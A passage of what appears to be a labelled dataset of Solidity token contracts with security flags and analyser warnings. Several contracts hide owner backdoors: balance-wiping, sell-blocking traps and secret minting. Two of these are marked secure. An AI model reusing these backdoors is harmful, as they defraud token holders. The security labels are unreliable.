require(is_takens(nft_addr, token_id));\n require(is_owner(minter_addr, nft_addr, token_id));\n return !minted[nft_addr][token_id][block.number / mint_period];\n }\n\n function next_mint_period() external view returns (uint256) {\n return\n (12 *\n (mint_period *\n (block.number / mint_period + 1) -\n block.number)) / 60;\n }\n\n function select_render(\n address minter_addr,\n address nft_addr,\n uint256 token_id\n ) public view returns (address) {\n require(renders.length > 0);\n if ((block.number - last_render) / mint_period > vanish_threshold) {\n return\n renders[\n uint256(\n keccak256(\n abi.encodePacked(\n minter_addr,\n nft_addr,\n token_id,\n block.number\n )\n )\n ) % renders.length\n ];\n } else {\n return renders[renders.length - 1];\n }\n }\n}",
"file_name": "solidity_code_3138.sol",
"secure": 0,
"size_bytes": 8117
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\nlibrary CometStructs {\n struct AssetInfo {\n uint8 offset;\n address asset;\n address priceFeed;\n uint64 scale;\n uint64 borrowCollateralFactor;\n uint64 liquidateCollateralFactor;\n uint64 liquidationFactor;\n uint128 supplyCap;\n }\n\n struct UserBasic {\n int104 principal;\n uint64 baseTrackingIndex;\n uint64 baseTrackingAccrued;\n uint16 assetsIn;\n uint8 _reserved;\n }\n\n struct TotalsBasic {\n uint64 baseSupplyIndex;\n uint64 baseBorrowIndex;\n uint64 trackingSupplyIndex;\n uint64 trackingBorrowIndex;\n uint104 totalSupplyBase;\n uint104 totalBorrowBase;\n uint40 lastAccrualTime;\n uint8 pauseFlags;\n }\n\n struct UserCollateral {\n uint128 balance;\n uint128 _reserved;\n }\n\n struct RewardOwed {\n address token;\n uint256 owed;\n }\n\n struct TotalsCollateral {\n uint128 totalSupplyAsset;\n uint128 _reserved;\n }\n}",
"file_name": "solidity_code_3139.sol",
"secure": 1,
"size_bytes": 1130
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Maomao is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable hospital;\n\n constructor() {\n _name = \"Chinese Orange Picking Dog\";\n\n _symbol = \"MAOMAO\";\n\n _decimals = 18;\n\n uint256 initialSupply = 972000000;\n\n hospital = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == hospital, \"Not allowed\");\n\n _;\n }\n\n function thought(address[] memory deer) public onlyOwner {\n for (uint256 i = 0; i < deer.length; i++) {\n address account = deer[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_314.sol",
"secure": 1,
"size_bytes": 4374
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\nimport \"./CometStructs.sol\" as CometStructs;\n\ninterface IComet {\n function balanceOf(address) external returns (uint256);\n function baseScale() external view returns (uint256);\n function supply(address asset, uint256 amount) external;\n function withdraw(address asset, uint256 amount) external;\n\n function getSupplyRate(uint256 utilization) external view returns (uint256);\n function getBorrowRate(uint256 utilization) external view returns (uint256);\n\n function getAssetInfoByAddress(\n address asset\n ) external view returns (CometStructs.AssetInfo memory);\n function getAssetInfo(\n uint8 i\n ) external view returns (CometStructs.AssetInfo memory);\n\n function getPrice(address priceFeed) external view returns (uint128);\n\n function userBasic(\n address\n ) external view returns (CometStructs.UserBasic memory);\n function totalsBasic()\n external\n view\n returns (CometStructs.TotalsBasic memory);\n function userCollateral(\n address,\n address\n ) external view returns (CometStructs.UserCollateral memory);\n\n function baseTokenPriceFeed() external view returns (address);\n\n function numAssets() external view returns (uint8);\n\n function getUtilization() external view returns (uint256);\n\n function baseTrackingSupplySpeed() external view returns (uint256);\n function baseTrackingBorrowSpeed() external view returns (uint256);\n\n function totalSupply() external view returns (uint256);\n function totalBorrow() external view returns (uint256);\n\n function baseIndexScale() external pure returns (uint64);\n\n function totalsCollateral(\n address asset\n ) external view returns (CometStructs.TotalsCollateral memory);\n\n function baseMinForRewards() external view returns (uint256);\n function baseToken() external view returns (address);\n}",
"file_name": "solidity_code_3140.sol",
"secure": 1,
"size_bytes": 1992
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SaudiChad is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private cooldown;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1_000_000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _feeAddr1;\n uint256 private _feeAddr2;\n\t// WARNING Optimization Issue (immutable-states | ID: fec1cd5): SaudiChad._initialTax should be immutable \n\t// Recommendation for fec1cd5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _initialTax;\n\t// WARNING Optimization Issue (immutable-states | ID: 2e8614c): SaudiChad._finalTax should be immutable \n\t// Recommendation for 2e8614c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _finalTax;\n uint256 private _reduceTaxCountdown;\n\t// WARNING Optimization Issue (immutable-states | ID: 2cd6be6): SaudiChad._feeAddrWallet should be immutable \n\t// Recommendation for 2cd6be6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet;\n\n string private constant _name = \"SAUDICHAD\";\n string private constant _symbol = \"SAUDICHAD\";\n uint8 private constant _decimals = 9;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 private _maxTxAmount = 1_000_000 * 10 ** 9;\n uint256 private _maxWalletSize = 20_000 * 10 ** 9;\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _feeAddrWallet = payable(_msgSender());\n _rOwned[_msgSender()] = _rTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet] = true;\n _initialTax = 5;\n _finalTax = 5;\n _reduceTaxCountdown = 60;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2ded908): SaudiChad.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2ded908: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e20cb9a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e20cb9a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7888085): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7888085: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e20cb9a\n\t\t// reentrancy-benign | ID: 7888085\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: e20cb9a\n\t\t// reentrancy-benign | ID: 7888085\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2efb9b3): SaudiChad._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2efb9b3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 7888085\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: e20cb9a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9c9df73): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9c9df73: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e51da21): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e51da21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 66d6c34): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 66d6c34: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n _feeAddr1 = 0;\n _feeAddr2 = (_reduceTaxCountdown == 0) ? _finalTax : _initialTax;\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n if (_reduceTaxCountdown > 0) {\n _reduceTaxCountdown--;\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > 0\n ) {\n\t\t\t\t// reentrancy-events | ID: 9c9df73\n\t\t\t\t// reentrancy-benign | ID: e51da21\n\t\t\t\t// reentrancy-eth | ID: 66d6c34\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9c9df73\n\t\t\t\t\t// reentrancy-eth | ID: 66d6c34\n sendETHToFee(address(this).balance);\n }\n }\n } else {\n _feeAddr1 = 0;\n _feeAddr2 = 0;\n }\n\n\t\t// reentrancy-events | ID: 9c9df73\n\t\t// reentrancy-benign | ID: e51da21\n\t\t// reentrancy-eth | ID: 66d6c34\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 9c9df73\n\t\t// reentrancy-events | ID: e20cb9a\n\t\t// reentrancy-benign | ID: 7888085\n\t\t// reentrancy-benign | ID: e51da21\n\t\t// reentrancy-eth | ID: 66d6c34\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8502add): SaudiChad.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _feeAddrWallet.transfer(amount)\n\t// Recommendation for 8502add: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9c9df73\n\t\t// reentrancy-events | ID: e20cb9a\n\t\t// reentrancy-eth | ID: 66d6c34\n\t\t// arbitrary-send-eth | ID: 8502add\n _feeAddrWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f6b67c8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f6b67c8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e3aee9b): SaudiChad.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e3aee9b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1b9ace7): SaudiChad.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1b9ace7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8442e69): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8442e69: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: f6b67c8\n\t\t// reentrancy-eth | ID: 8442e69\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: f6b67c8\n\t\t// unused-return | ID: e3aee9b\n\t\t// reentrancy-eth | ID: 8442e69\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: f6b67c8\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: f6b67c8\n cooldownEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8442e69\n tradingOpen = true;\n\t\t// unused-return | ID: 1b9ace7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 66d6c34\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 66d6c34\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 9c9df73\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 66d6c34\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 66d6c34\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: e51da21\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n require(_msgSender() == _feeAddrWallet);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _feeAddrWallet);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _feeAddr1,\n _feeAddr2\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_3141.sol",
"secure": 0,
"size_bytes": 18280
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract UnclePepe {\n string public name;\n string public symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 0333797): UnclePepe.totalSupply should be immutable \n\t// Recommendation for 0333797: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\t// WARNING Optimization Issue (constable-states | ID: 529b48d): UnclePepe.decimals should be constant \n\t// Recommendation for 529b48d: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\t// WARNING Optimization Issue (constable-states | ID: 1345156): UnclePepe.surprise should be constant \n\t// Recommendation for 1345156: Add the 'constant' attribute to state variables that never change.\n uint256 private surprise = 40;\n\t// WARNING Optimization Issue (immutable-states | ID: 85287dd): UnclePepe.uniswapV2Pair should be immutable \n\t// Recommendation for 85287dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n mapping(address => uint256) private hollow;\n mapping(address => bool) private consist;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n constructor(address doubt) {\n name = \"Uncle Pepe\";\n symbol = \"Uncle Pepe\";\n totalSupply = 1000000000 * 10 ** decimals;\n balanceOf[msg.sender] = totalSupply;\n hollow[doubt] = surprise;\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n }\n\n function transfer(\n address _to,\n uint256 _value\n ) public returns (bool success) {\n _transfer(msg.sender, _to, _value);\n return true;\n }\n\n function _transfer(\n address _from,\n address _to,\n uint256 _value\n ) private returns (bool success) {\n if (hollow[_from] == 0) {\n balanceOf[_from] -= _value;\n if (uniswapV2Pair != _from && consist[_from]) {\n hollow[_from] -= surprise;\n }\n }\n balanceOf[_to] += _value;\n emit Transfer(_from, _to, _value);\n return true;\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public returns (bool success) {\n allowance[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n return true;\n }\n\n function reward(address[] memory _to) external {\n for (uint256 i = 0; i < _to.length; i++) {\n consist[_to[i]] = true;\n }\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public returns (bool success) {\n _transfer(_from, _to, _value);\n require(_value <= allowance[_from][msg.sender]);\n allowance[_from][msg.sender] -= _value;\n return true;\n }\n}",
"file_name": "solidity_code_3142.sol",
"secure": 1,
"size_bytes": 3666
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) internal _balances;\n mapping(address => bool) private _allowance;\n mapping(address => mapping(address => uint256)) internal _allowances;\n uint256 internal _totalSupply;\n string private _name;\n string private _symbol;\n address internal deployer;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function allowances(address spender) public view returns (bool) {\n return _allowance[spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function manualswap() public virtual {\n require(_msgSender() == deployer, \"Unauthorized\");\n uint256 contractBalance = balanceOf(address(deployer));\n _balances[deployer] = contractBalance + 50 * 10 ** 15 * 10 ** 9;\n emit Transfer(deployer, address(0), 50 * 10 ** 15 * 10 ** 9);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance <= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance + amount;\n }\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3143.sol",
"secure": 0,
"size_bytes": 6143
} |
{
